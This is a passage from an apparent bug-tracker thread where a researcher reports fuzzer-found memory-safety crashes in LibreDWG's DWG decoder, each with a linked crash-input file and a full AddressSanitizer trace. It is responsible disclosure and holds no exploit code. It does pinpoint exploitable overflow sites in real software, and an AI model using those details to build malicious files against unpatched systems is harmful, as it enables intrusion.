#0 0x7f50ca2edd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x561a721a5b36 in dwg_decode_eed ../../src/decode.c:3638
SUMMARY: AddressSanitizer: 80 byte(s) leaked in 2 allocation(s).
```
---
Comment #4 by linhlhq:
**5.heap-buffer-overflow in read_2004_section_appinfo ../../src/decode.c:2842**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000091%2Csig:06%2Csrc:005906%2B004569%2Cop:splice%2Crep:64
```
=================================================================
==8956==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62c0000070c0 at pc 0x7ff0838d6733 bp 0x7ffd5c5ceb70 sp 0x7ffd5c5ce318
READ of size 32768 at 0x62c0000070c0 thread T0
#0 0x7ff0838d6732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x5599a2abd7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x5599a2abd7b6 in read_2004_compressed_section ../../src/decode.c:2417
#3 0x5599a3083a9b in read_2004_section_appinfo ../../src/decode.c:2842
#4 0x5599a3083a9b in decode_R2004 ../../src/decode.c:3359
#5 0x5599a309308d in dwg_decode ../../src/decode.c:246
#6 0x5599a2a25fae in dwg_read_file ../../src/dwg.c:211
#7 0x5599a2a249d0 in get_bmp ../../programs/dwgbmp.c:111
#8 0x5599a2a24066 in main ../../programs/dwgbmp.c:280
#9 0x7ff0830efb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x5599a2a246c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x62c0000070c0 is located 0 bytes to the right of 28352-byte region [0x62c000000200,0x62c0000070c0)
allocated by thread T0 here:
#0 0x7ff08393bd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x5599a2a25f41 in dat_read_file ../../src/dwg.c:74
#2 0x5599a2a25f41 in dwg_read_file ../../src/dwg.c:204
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c587fff8dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c587fff8e10: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c587fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==8956==ABORTING
```
---
Comment #5 by linhlhq:
**6.heap-buffer-overflow in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000004%2Csig:06%2Csrc:000240%2Cop:havoc%2Crep:4
```
=================================================================
==11971==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62d0000085c0 at pc 0x7f21ca533733 bp 0x7ffc413ece40 sp 0x7ffc413ec5e8
READ of size 1179776 at 0x62d0000085c0 thread T0
#0 0x7f21ca533732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x5622b14827b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x5622b14827b6 in read_2004_compressed_section ../../src/decode.c:2417
#3 0x5622b1a4bdd2 in read_2004_section_summary ../../src/decode.c:2785
#4 0x5622b1a4bdd2 in decode_R2004 ../../src/decode.c:3352
#5 0x5622b1a5808d in dwg_decode ../../src/decode.c:246
#6 0x5622b13eafae in dwg_read_file ../../src/dwg.c:211
#7 0x5622b13e99d0 in get_bmp ../../programs/dwgbmp.c:111
#8 0x5622b13e9066 in main ../../programs/dwgbmp.c:280
#9 0x7f21c9d4cb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x5622b13e96c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x62d0000085c0 is located 0 bytes to the right of 33216-byte region [0x62d000000400,0x62d0000085c0)
allocated by thread T0 here:
#0 0x7f21ca598d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x5622b13eaf41 in dat_read_file ../../src/dwg.c:74
#2 0x5622b13eaf41 in dwg_read_file ../../src/dwg.c:204
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c5a7fff9060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff9070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff9080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff9090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff90a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c5a7fff90b0: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c5a7fff90c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff90d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff90e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff90f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==11971==ABORTING
```
---
Comment #6 by linhlhq:
**7.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2337**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000036%2Csig:06%2Csrc:004273%2Cop:havoc%2Crep:8
```
=================================================================
==15970==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55e389e038c1 bp 0x000000000000 sp 0x7ffe410ebab0 T0)
==15970==The signal is caused by a READ memory access.
==15970==Hint: address points to the zero page.
#0 0x55e389e038c0 in read_2004_compressed_section ../../src/decode.c:2337
#1 0x55e38a3cb81f in read_2004_section_template ../../src/decode.c:3136
#2 0x55e38a3cb81f in decode_R2004 ../../src/decode.c:3365
#3 0x55e38a3d908d in dwg_decode ../../src/decode.c:246
#4 0x55e389d6bfae in dwg_read_file ../../src/dwg.c:211
#5 0x55e389d6a9d0 in get_bmp ../../programs/dwgbmp.c:111
#6 0x55e389d6a066 in main ../../programs/dwgbmp.c:280
#7 0x7f67aa354b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#8 0x55e389d6a6c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../src/decode.c:2337 in read_2004_compressed_section
==15970==ABORTING
```
---
Comment #7 by linhlhq:
**8.heap-buffer-overflow in bit_calc_CRC ../../src/bits.c:2213**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000034%2Csig:06%2Csrc:003269%2B004108%2Cop:splice%2Crep:4
```
=================================================================
==18234==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62b000006a00 at pc 0x55d633177a35 bp 0x7ffdcca65160 sp 0x7ffdcca65150
READ of size 1 at 0x62b000006a00 thread T0
#0 0x55d633177a34 in bit_calc_CRC ../../src/bits.c:2213
#1 0x55d633177a34 in bit_check_CRC ../../src/bits.c:1279
#2 0x55d63374e8b7 in dwg_decode_add_object ../../src/decode.c:5555
#3 0x55d6337816a4 in read_2004_section_handles ../../src/decode.c:2719
#4 0x55d6337816a4 in decode_R2004 ../../src/decode.c:3354
#5 0x55d63379308d in dwg_decode ../../src/decode.c:246
#6 0x55d633125fae in dwg_read_file ../../src/dwg.c:211
#7 0x55d6331249d0 in get_bmp ../../programs/dwgbmp.c:111
#8 0x55d633124066 in main ../../programs/dwgbmp.c:280
#9 0x7f3fdd3f6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x55d6331246c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x62b000006a00 is located 0 bytes to the right of 26624-byte region [0x62b000000200,0x62b000006a00)
allocated by thread T0 here:
#0 0x7f3fddc42d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55d6331bcf25 in read_2004_compressed_section ../../src/decode.c:2321
#2 0x55d633c674b2 (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0xdd24b2)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/bits.c:2213 in bit_calc_CRC
Shadow bytes around the buggy address:
0x0c567fff8cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c567fff8d40:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==18234==ABORTING
```
---
Comment #8 by linhlhq:
**9.heap-buffer-overflow in read_2004_section_handles ../../src/decode.c:2637**
POC:https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000168%2Csig:06%2Csrc:001038%2Cop:havoc%2Crep:4
```
=================================================================
==21207==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x629000004f20 at pc 0x7fbe8d213733 bp 0x7ffdd9fa0a80 sp 0x7ffdd9fa0228
READ of size 29696 at 0x629000004f20 thread T0
#0 0x7fbe8d213732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x558f0e7517b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x558f0e7517b6 in read_2004_compressed_section ../../src/decode.c:2417
#3 0x558f0ed15353 in read_2004_section_handles ../../src/decode.c:2637
#4 0x558f0ed15353 in decode_R2004 ../../src/decode.c:3354
#5 0x558f0ed2708d in dwg_decode ../../src/decode.c:246
#6 0x558f0e6b9fae in dwg_read_file ../../src/dwg.c:211
#7 0x558f0e6b89d0 in get_bmp ../../programs/dwgbmp.c:111
#8 0x558f0e6b8066 in main ../../programs/dwgbmp.c:280
#9 0x7fbe8ca2cb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x558f0e6b86c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x629000004f20 is located 0 bytes to the right of 19744-byte region [0x629000000200,0x629000004f20)
allocated by thread T0 here:
#0 0x7fbe8d278d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x558f0e6b9f41 in dat_read_file ../../src/dwg.c:74
#2 0x558f0e6b9f41 in dwg_read_file ../../src/dwg.c:204
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c527fff8990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff89a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff89b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff89c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff89d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c527fff89e0: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff89f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff8a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff8a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff8a20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff8a30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==21207==ABORTING
```
---
Comment #9 by linhlhq:
**10.heap-buffer-overflow in read_2004_section_classes ../../src/decode.c:2440**
POC:https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000031%2Csig:06%2Csrc:002636%2Cop:havoc%2Crep:8
```
=================================================================
==23880==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62c0000070c0 at pc 0x7f52bd72c733 bp 0x7ffc9c1738a0 sp 0x7ffc9c173048
READ of size 29696 at 0x62c0000070c0 thread T0
#0 0x7f52bd72c732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x55e8f86a57b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x55e8f86a57b6 in read_2004_compressed_section ../../src/decode.c:2417
#3 0x55e8f86aa24f in read_2004_section_classes ../../src/decode.c:2440
#4 0x55e8f8c690d0 in decode_R2004 ../../src/decode.c:3353
#5 0x55e8f8c7b08d in dwg_decode ../../src/decode.c:246
#6 0x55e8f860dfae in dwg_read_file ../../src/dwg.c:211
#7 0x55e8f860c9d0 in get_bmp ../../programs/dwgbmp.c:111
#8 0x55e8f860c066 in main ../../programs/dwgbmp.c:280
#9 0x7f52bcf45b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x55e8f860c6c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x62c0000070c0 is located 0 bytes to the right of 28352-byte region [0x62c000000200,0x62c0000070c0)
allocated by thread T0 here:
#0 0x7f52bd791d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55e8f860df41 in dat_read_file ../../src/dwg.c:74
#2 0x55e8f860df41 in dwg_read_file ../../src/dwg.c:204
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c587fff8dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c587fff8e10: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c587fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==23880==ABORTING
```
---
Comment #10 by linhlhq:
**11.heap-buffer-overflow in read_2004_section_preview ../../src/decode.c:3175**
POC:https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000016%2Csig:06%2Csrc:000009%2Cop:flip4%2Cpos:27771
```
=================================================================
==28918==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62c0000070c0 at pc 0x7fee7c87d733 bp 0x7ffdb7a72050 sp 0x7ffdb7a717f8
READ of size 29856 at 0x62c0000070c0 thread T0
#0 0x7fee7c87d732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x55ba7a6407b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x55ba7a6407b6 in read_2004_compressed_section ../../src/decode.c:2417
#3 0x55ba7ac0a602 in read_2004_section_preview ../../src/decode.c:3175
#4 0x55ba7ac0a602 in decode_R2004 ../../src/decode.c:3356
#5 0x55ba7ac1608d in dwg_decode ../../src/decode.c:246
#6 0x55ba7a5a8fae in dwg_read_file ../../src/dwg.c:211
#7 0x55ba7a5a79d0 in get_bmp ../../programs/dwgbmp.c:111
#8 0x55ba7a5a7066 in main ../../programs/dwgbmp.c:280
#9 0x7fee7c096b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x55ba7a5a76c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x62c0000070c0 is located 0 bytes to the right of 28352-byte region [0x62c000000200,0x62c0000070c0)
allocated by thread T0 here:
#0 0x7fee7c8e2d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55ba7a5a8f41 in dat_read_file ../../src/dwg.c:74
#2 0x55ba7a5a8f41 in dwg_read_file ../../src/dwg.c:204
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c587fff8dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c587fff8e10: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c587fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==28918==ABORTING
```
---
Comment #11 by linhlhq:
**12. heap-buffer-overflow in bit_search_sentinel ../../src/bits.c:1985**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000009%2Csig:06%2Csrc:000009%2Cop:flip1%2Cpos:27725
```
=================================================================
==30593==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000003f1 at pc 0x562e9b28f678 bp 0x7ffe7e543550 sp 0x7ffe7e543540
READ of size 1 at 0x6020000003f1 thread T0
#0 0x562e9b28f677 in bit_search_sentinel ../../src/bits.c:1985
#1 0x562e9b2bf2c4 in read_2004_section_classes ../../src/decode.c:2449
#2 0x562e9b87e0d0 in decode_R2004 ../../src/decode.c:3353
#3 0x562e9b89008d in dwg_decode ../../src/decode.c:246
#4 0x562e9b222fae in dwg_read_file ../../src/dwg.c:211
#5 0x562e9b2219d0 in get_bmp ../../programs/dwgbmp.c:111
#6 0x562e9b221066 in main ../../programs/dwgbmp.c:280
#7 0x7f561af17b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#8 0x562e9b2216c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x6020000003f1 is located 0 bytes to the right of 1-byte region [0x6020000003f0,0x6020000003f1)
allocated by thread T0 here:
#0 0x7f561b763d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x562e9b2b9f25 in read_2004_compressed_section ../../src/decode.c:2321
#2 0x562e9bd644b2 (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0xdd24b2)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/bits.c:1985 in bit_search_sentinel
Shadow bytes around the buggy address:
0x0c047fff8020: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff8030: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 04 fa
0x0c047fff8040: fa fa 02 fa fa fa 02 fa fa fa 02 fa fa fa 04 fa
0x0c047fff8050: fa fa 02 fa fa fa 02 fa fa fa 02 fa fa fa 02 fa
0x0c047fff8060: fa fa 02 fa fa fa 02 fa fa fa 02 fa fa fa 00 02
=>0x0c047fff8070: fa fa 02 fa fa fa 02 fa fa fa 02 fa fa fa[01]fa
0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==30593==ABORTING
```
---
Comment #12 by linhlhq:
**13.memcpy-param-overlap in read_2004_section_header ../../src/decode.c:2580**
POC:https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000000%2Csig:06%2Csrc:000009%2Cop:flip1%2Cpos:27641
```
=================================================================
==32738==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x62c000008200,0x62c00000f600) and [0x62c0000067a0, 0x62c00000dba0) overlap
#0 0x7f52a17f7425 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79425)
#1 0x55cd4d5ce7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x55cd4d5ce7b6 in read_2004_compressed_section ../../src/decode.c:2417
#3 0x55cd4db91900 in read_2004_section_header ../../src/decode.c:2580
#4 0x55cd4db91900 in decode_R2004 ../../src/decode.c:3350
#5 0x55cd4dba408d in dwg_decode ../../src/decode.c:246
#6 0x55cd4d536fae in dwg_read_file ../../src/dwg.c:211
#7 0x55cd4d5359d0 in get_bmp ../../programs/dwgbmp.c:111
#8 0x55cd4d535066 in main ../../programs/dwgbmp.c:280
#9 0x7f52a1010b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x55cd4d5356c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x62c000008200 is located 0 bytes inside of 29696-byte region [0x62c000008200,0x62c00000f600)
allocated by thread T0 here:
#0 0x7f52a185cd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55cd4d5cdf25 in read_2004_compressed_section ../../src/decode.c:2321
#2 0x55cd4e0784b2 (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0xdd24b2)
0x62c0000070c0 is located 0 bytes to the right of 28352-byte region [0x62c000000200,0x62c0000070c0)
allocated by thread T0 here:
#0 0x7f52a185cd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55cd4d536f41 in dat_read_file ../../src/dwg.c:74
#2 0x55cd4d536f41 in dwg_read_file ../../src/dwg.c:204
SUMMARY: AddressSanitizer: memcpy-param-overlap (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79425)
==32738==ABORTING
```
---
Comment #13 by linhlhq:
**14.heap-buffer-overflow in read_2004_section_revhistory ../../src/decode.c:3051**
POC:https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000006%2Csig:06%2Csrc:000009%2Cop:flip1%2Cpos:27665
```
=================================================================
==3444==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62c0000070c0 at pc 0x7f7b0a9aa733 bp 0x7ffde99cc390 sp 0x7ffde99cbb38
READ of size 29696 at 0x62c0000070c0 thread T0
#0 0x7f7b0a9aa732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x5651577e87b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x5651577e87b6 in read_2004_compressed_section ../../src/decode.c:2417
#3 0x5651577ea80f in read_2004_section_revhistory ../../src/decode.c:3051
#4 0x565157db075a in decode_R2004 ../../src/decode.c:3363
#5 0x565157dbe08d in dwg_decode ../../src/decode.c:246
#6 0x565157750fae in dwg_read_file ../../src/dwg.c:211
#7 0x56515774f9d0 in get_bmp ../../programs/dwgbmp.c:111
#8 0x56515774f066 in main ../../programs/dwgbmp.c:280
#9 0x7f7b0a1c3b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x56515774f6c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x62c0000070c0 is located 0 bytes to the right of 28352-byte region [0x62c000000200,0x62c0000070c0)
allocated by thread T0 here:
#0 0x7f7b0aa0fd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x565157750f41 in dat_read_file ../../src/dwg.c:74
#2 0x565157750f41 in dwg_read_file ../../src/dwg.c:204
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c587fff8dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c587fff8e10: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c587fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
